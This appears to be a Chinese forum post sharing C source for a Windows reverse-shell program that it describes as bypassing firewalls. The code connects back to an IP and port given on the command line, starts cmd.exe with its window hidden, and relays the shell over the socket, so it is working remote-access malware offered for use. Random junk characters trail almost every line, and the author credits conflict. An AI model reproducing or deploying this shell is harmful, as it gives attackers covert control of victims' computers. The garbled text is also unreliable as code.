这是一个Windows下的小程序,可以穿透防火墙反弹连接,当然这是最简单的!看到网络上反弹木马到处都是,心一热就有了这个了(代码很垃圾的)。 33jovK2
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/* ============================== ]e>RK'
Rebound port in Windows NT F1 iGMf-8
By wind,2006/7 &-s'BT[PGq
===============================*/ qNI,
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#include 0 - ><q
#include 5pU2|Bk /
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#pragma comment(lib,"wsock32.lib") r~+\
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void OutputShell(); Jm|+-F@I
SOCKET sClient; b5,x1`#7k
char *szMsg="Rebound port in Windows NT\nBy shucx,2003/10\nRebound successful,Entry Please!\n"; "8'@3$>R=
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void main(int argc,char **argv) Mb"J@5P[4
{ }YjX3|8zL=
WSADATA stWsaData; y[>;]R7'
int nRet; gWrgnlq
SOCKADDR_IN stSaiClient,stSaiServer; sBu=e7
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if(argc != 3) Ib|Rf;J~-
{ KQcs3F@t
printf("Useage:\n\rRebound DestIP DestPort\n"); df*5,NV'-*
return; h8 'v d3
} @)-sTgn
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WSAStartup(MAKEWORD(2,2),&stWsaData); a,3j,(3
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sClient = socket(AF_INET,SOCK_STREAM,IPPROTO_TCP); KQ`qpX^d
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stSaiClient.sin_family = AF_INET; 0OT\"O~S[
stSaiClient.sin_port = htons(0); 4VHqBQ4
stSaiClient.sin_addr.S_un.S_addr = htonl(INADDR_ANY); <WjF*x p
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if((nRet = bind(sClient,(SOCKADDR *)&stSaiClient,sizeof(stSaiClient)))==SOCKET_ERROR) kxp);
{ 3ia^\ jw
printf("Bind Socket Failed!\n"); UJ0<%^f
return; e?`5>& Up
} ?|WoIV.
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stSaiServer.sin_family = AF_INET; N;Dni#tQ`
stSaiServer.sin_port = htons((u_short)atoi(argv[2])); 0`)iIz
stSaiServer.sin_addr.s_addr = inet_addr(argv[1]); 4
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if(connect(sClient, (struct sockaddr *)&stSaiServer, sizeof(stSaiServer))==SOCKET_ERROR) 7@Zx@
{ |fxA|/s[<
printf("Connect Error!"); umF
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return; _9tK[/h
} @Ukr
OutputShell(); :@1eph0
} `6 /$M!4$
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void OutputShell() QU%I43
{ y_*PQZ$c<
char szBuff[1024]; zUkN 0
SECURITY_ATTRIBUTES stSecurityAttributes; $={:r/R`i
OSVERSIONINFO stOsversionInfo; [cTe54n
HANDLE hReadShellPipe,hWriteShellPipe,hReadPipe,hWritePipe; ?+g`HTY u
STARTUPINFO stStartupInfo; _<=S_<$2
char *szShell; }Ow>dV?
PROCESS_INFORMATION stProcessInformation; psnTFe
unsigned long lBytesRead; $ e\h}A6
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stOsversionInfo.dwOSVersionInfoSize = sizeof(OSVERSIONINFO); `W dD8E
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stSecurityAttributes.nLength = sizeof(SECURITY_ATTRIBUTES); Pt@%4 :&-h
stSecurityAttributes.lpSecurityDescriptor = 0; Eo\UAc
stSecurityAttributes.bInheritHandle = TRUE; Zm"{V iv]
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CreatePipe(&hReadShellPipe,&hWriteShellPipe,&stSecurityAttributes,0); :C}2=
CreatePipe(&hReadPipe,&hWritePipe,&stSecurityAttributes,0); L KCb_9
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ZeroMemory(&stStartupInfo,sizeof(stStartupInfo)); ?OE.O/~l
stStartupInfo.dwFlags = STARTF_USESHOWWINDOW|STARTF_USESTDHANDLES; A a=u+
stStartupInfo.wShowWindow = SW_HIDE; y"6y!
stStartupInfo.hStdInput = hReadPipe; 7_.11$E=H
stStartupInfo.hStdOutput = stStartupInfo.hStdError = hWriteShellPipe; P6 ;'Sza
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GetVersionEx(&stOsversionInfo); :l2g# * c
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switch(stOsversionInfo.dwPlatformId) H;U)b{
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case 1: *[r!
szShell = "command.com"; `+zWu55;
break; \k]x;S<a
default: N0K){
szShell = "cmd.exe"; v~T7`
break; `%E8-]{uS
} cooUE<a
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CreateProcess(NULL,szShell,NULL,NULL,1,0,NULL,NULL,&stStartupInfo,&stProcessInformation); |\dZ'
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send(sClient,szMsg,77,0); JXixYwm
while(1) 5GA\xM-
{ {^m(,K_
PeekNamedPipe(hReadShellPipe,szBuff,1024,&lBytesRead,0,0); sK"9fU
if(lBytesRead) Yz4_vePh+5
{ <W`#gn0b6
ReadFile(hReadShellPipe,szBuff,lBytesRead,&lBytesRead,0); :LWn<,4F&
send(sClient,szBuff,lBytesRead,0); !" JfOu
} &n[~!%(
else ;>%~9j1C
{ =\,uy8HX
lBytesRead=recv(sClient,szBuff,1024,0); g
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if(lBytesRead<=0) break; j}BHj.YuP
WriteFile(hWritePipe,szBuff,lBytesRead,&lBytesRead,0); 65oWD-
} 'lo
} 6oinidB[l
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return; X; 5Jb
}